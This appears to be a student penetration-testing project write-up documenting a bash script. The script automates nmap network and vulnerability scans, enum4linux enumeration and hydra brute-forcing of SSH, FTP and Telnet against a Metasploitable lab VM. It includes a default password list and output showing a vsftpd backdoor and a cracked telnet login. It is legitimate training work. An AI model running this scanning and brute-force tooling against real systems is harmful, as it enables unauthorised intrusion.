Pen Testing Project (Vulner)

Script created and documented by Edwin Tan

Primary Objective

- To Scan the network
- From the list of IP addresses, do a reconnaissance of a chosen/ target IP.
- Enumerate the Target IP for vulnerabilities.
- Attempt to bruteforce into the IP via an open port.
- Then once done, automate the report generating process

Thought process:

1. Automate the netmask and netdiscover process.
2. From the list of IP discovered, have the user input a selected IP he/she wants to scan.
3. Using Nmap for the numeration portion to find the OS and Service version as well as the open ports available.
4. Once okay, bruteforce using SSH, FTP and Telnet as they are the more commonly opened port to be found.
5. Allow the user to specify what kind of password and user format they would like to use.
6. Bruteforce with hydra.
7. Save the Results in to Report format and automate the renaming of the results as the date and IP address for easy archive.

Reconnaissance

Objective:
Automate the CIDR calculation and Network scans.

Thought Process:

Using the ip r command, we can automatically Identify the CIDR of the network you are on.

Just need to NMAP the CIDR to get you a list of active networks.

Reconnaissance

Scripts and explanation.

```
# script for calculating the CIDR
calcidr=$(ip r | grep kernel | awk '{print $(1)}')
```

```
echo "########################################################################"
echo "User infromation"
echo "########################################################################"
pwd
user=$(hostname)
userip=$(hostname -I)
useros=$(cat /etc/*_version)
usernmask=$(ifconfig | grep broadcast | awk '{print $(NF-2)}')
echo "Welcome, $user "
echo "Your OS version is $useros"
echo "Your IP address is $userip"
echo "Your netmask is $usernmask"
echo "Your CIDR is $calcidr"
```

What the ip r command does

```
┌──(kali㉿kali)-[~/Desktop/PTprobase]
└─$ ip r
default via 192.168.75.2 dev eth0 proto dhcp src 192.168.75.138 metric 100
192.168.75.0/24 dev eth0 proto kernel scope link src 192.168.75.138 metric 100
```

Just having to grep for the value of the CIDR so that we can use it to do the network scan.

```
########################################################################
User infromation
########################################################################
/home/kali/Desktop/PTprobase
Welcome, kali
Your OS version is kali-rolling
Your IP address is 192.168.75.138
Your netmask is 255.255.255.0
Your CIDR is 192.168.75.0/24
```

As a part of the initialization, after the booting up, to ensure the user can easily identify which IP is theirs.

Scanning

```
function runnetworkscan()
{
    sudo nmap -sP $calcidr -sV -oG networkscanresults.scan
    cat networkscanresults.scan | grep Host: | awk '{ print $2 }' > tarip.txt
    echo "Active IP addresses on the network:"
    cat tarip.txt
}
```

I will be using a pre-prepared Vulnerable box under the IP: 192.168.75.130

```
Starting network scans with NMAP
########################################################################
/home/kali/Desktop/PTprobase
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-03 00:38 EST
Nmap scan report for 192.168.75.1
Host is up (0.00013s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.000087s latency).
MAC Address: 00:50:56:F5:A5:E0 (VMware)
Nmap scan report for vulner2 (192.168.75.130)
Host is up (0.000085s latency).
MAC Address: 00:0C:29:93:5C:F0 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.000087s latency).
MAC Address: 00:50:56:ED:8C:21 (VMware)
Nmap scan report for 192.168.75.138
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.09 seconds
Active IP addresses on the network:
192.168.75.1
192.168.75.2
192.168.75.130
192.168.75.254
192.168.75.138
```

Using the Nmap -sp command, you will get the follow results.

```
┌──(kali㉿kali)-[~/Desktop/PTprobase]
└─$ cat networkscanresults.scan
# Nmap 7.93 scan initiated Fri Feb  3 00:38:08 2023 as: nmap -sP -sV -oG networkscanresults.scan 192.168.75.0/24
Host: 192.168.75.1 ()   Status: Up
Host: 192.168.75.2 ()   Status: Up
Host: 192.168.75.130 (vulner2)  Status: Up
Host: 192.168.75.254 () Status: Up
Host: 192.168.75.138 () Status: Up
# Nmap done at Fri Feb  3 00:38:10 2023 -- 256 IP addresses (5 hosts up) scanned in 2.09 seconds
```

Enumeration

```
function runnmapenum()
{
    sudo nmap $enip -p- --open -sV -oN enumresults.txt -oX enumresults.xml
    echo "scanned results are saved here:"
    pwd
}
```

This function will allow the user to check the Service version of the user indicated IP during the scan and at the same time identify the open ports. The results are then saved as both the normal output(-oN) and in the .xml(-oX)

The .XML format is for the searchsploit

```
################################################################################
Starting enumeration
################################################################################
/home/kali/Desktop/PTprobase
What is the target IP?
192.168.75.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-03 00:38 EST
Nmap scan report for vulner2 (192.168.75.130)
Host is up (0.0022s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
41617/tcp open  mountd      1-3 (RPC #100005)
47483/tcp open  java-rmi    GNU Classpath grmiregistry
55094/tcp open  status      1 (RPC #100024)
60370/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:93:5C:F0 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Enumeration

```
function runenum4linux
{
    sudo enum4linux $enip >> enum4linuxscanrs.txt
}
```

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb  2 23:26:52 2023

 ==========( Target Information )==========

Target ........... 192.168.75.130
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

This function runs the enum4linux command and appends the result as a TXT file so that the user will be abit to see other enumeration information that the nmap may have missed out.

Enumeration

```
function runnmapvulnfull()
{
    sudo nmap $enip --script=vuln -p- -oN vulnresults.txt
    echo "scanned results are saved here:"
    pwd
}
```

Using the nse script Vuln to identify the vulnerability of the IP address. We are able to see more than just what is the vulnerability, we are able to see the related articles and proof of concept.

The results shown is just a part of the results found.

```
Nmap scan report for vulner2 (192.168.75.130)
Host is up (0.0032s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2011-2523  BID:48539
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|       https://www.securityfocus.com/bid/48539
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
```

User input & Bruteforce

```
function dfpwlist()
{
    echo    "msfadmin
msfadmin
12345
kali
123456789
asdfghjkl
password1
qwerty123456
" >> dflist.txt
}
```

Creating a default username and password list.

```
#functions for the user data collection

function createurpw()
{
                echo "please input password"
                read password
                echo $password > crtedpw.lst
                echo " Please input username"
                read userlst
                echo $userlst > crteduser.lst
}
```

Creating a single username and password as specified by the user.

```
function inputurpwlist()
{
                echo "please input password list directory e.g /home/kali/Desktop/PT/PTprobase/scanning/password.lst"
                read passdir
                echo " Please input username list directory e.g /home/kali/Desktop/PT/PTprobase/scanning/password.lst"
                read userdir
}
```

Giving the script a location to get the user's unique username and password list.

The functions above are in relation with the user's preference regarding the way how to login will work.

User input & Bruteforce

```
function userinlist()
{
    items=( "Input a password file and a user file"
            "create a new password and user file"
            "Use default password file")

while true; do
    select item in "${items[@]}" Quit
    do
        case $REPLY in
            1) inputurpwlist;   echo 'using user designated files'
                hydra -L $userdir -P $passdir $enip ssh -vV  -o bfsshresult.txt
                hydra -L $userdir -P $passdir $enip ftp -vV  -o bfftpresult.txt
                hydra -L $userdir -P $passdir $enip telnet -vV  -o bftelnetresult.txt;
                break 2;;

            2) createurpw;
                echo 'using user created files'
                hydra -L crteduser.lst -P crtedpw.lst $enip ssh -vV  -o bfsshresult.txt
                hydra -L crteduser.lst -P crtedpw.lst $enip ftp -vV  -o bfftpresult.txt
                hydra -L crteduser.lst -P crtedpw.lst $enip telnet -vV  -o bftelnetresult.txt;
                break 2;;

            3) echo "default list is created";
                echo 'using default files'
                hydra -L dflist.txt -P dflist.txt $enip ssh -vV -o bfsshresult.txt
                hydra -L dflist.txt -P dflist.txt $enip ftp -vV -o bfftpresult.txt
                hydra -L dflist.txt -P dflist.txt $enip telnet -vV -o bftelnetresult.txt;
                break 2;;
            $((${#items[@]}+1))) echo "We're done!"; break 2;;
            *) echo "Ooops - unknown choice $REPLY"; break 2;
        esac
    done
done
}
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-03 05:39:11
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking telnet://192.168.75.130:23/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.75.130 - login "msfadmin" - pass "msfadmin" - 1 of 1 [child 0] (0/0)
[23][telnet] host: 192.168.75.130   login: msfadmin   password: msfadmin
[STATUS] attack finished for 192.168.75.130 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-03 05:39:12
```

As shown above is the successful attack on the vulnerable machine through the telnet service, in this case, the user chose option 2 in the menu and manually input the username and password.

The Results of the attack is then output to a .txt file to help the script out as part of the report.

Report Generation

```
echo "################################################################################">> Report.txt
echo "User Information" >> Report.txt
echo "################################################################################" >> Report.txt
echo "Date & Time of report:" >> Report.txt
date >> Report.txt
echo "Your OS version is $useros" >> Report.txt
echo "Your IP address is $userip" >> Report.txt
echo "Your netmask is $usernmask" >> Report.txt
echo "Your CIDR is $calcidr" >> Report.txt
```

I had each individual lines append in order to create the report. While tedious, I would have been able to use the report for 2 things, to troubleshoot the script and to identify which parts were not working.

Shown below is just 1 part of the report generation section.

```
################################################################################
User Information
################################################################################
Date & Time of report:
Fri Feb  3 05:39:12 AM EST 2023
Your OS version is kali-rolling
Your IP address is 192.168.75.138
Your netmask is 255.255.255.0
Your CIDR is 192.168.75.0/24
```

Report Generation

```
mv Report.txt "$(date +"%m-%d-%y")"_"$enip"_report.txt

# To clean out the files that will cause problems on the second run
rm bfsshresult.txt
rm bfftpresult.txt
rm bftelnetresult.txt
```

This part is to automate the renaming of the file from report to current date and IP scanned. It is to facilitate easy identification and archive.

The script below is for quality of life purpose.

I would remove these 3 .txt as they would conflict with the next scan and produce unwanted information. As instead of overwriting, the hydra output just append the information into the .txt.

Report Generation

```
function viewreports()
{
echo "Which report would you like to view? Please input the Target IP for that report"
read rsip
open "$(ls |grep $rsip)"
echo "All reports are saved in:"
pwd
}
```

```
Which report would you like to view? Please input the Target IP for that report
192.168.75.130
All reports are saved in:
/home/kali/Desktop/PTprobase
```

PTpro.bash × 02-03-23_192.1....130_report.txt ×

```
1  ################################################################################
2  User Information
3  ################################################################################
4  Date & Time of report:
5  Fri Feb  3 05:39:12 AM EST 2023
6  Your OS version is kali-rolling
7  Your IP address is 192.168.75.138
8  Your netmask is 255.255.255.0
9  Your CIDR is 192.168.75.0/24
10 ################################################################################
11 Report Information
12 ################################################################################
13 Date & Time of report:
14 Fri Feb  3 05:39:12 AM EST 2023
15 Target IP Address:
16 192.168.75.130
17 Number of devices found on network:
18 5
19  Time taken for network scan:
20 2.06 seconds
```

This function above is just a simple script to allow the user to open the report file. And confirm that it is the report he wants to look at.

Once executed, the report file will open in another window and the script will end.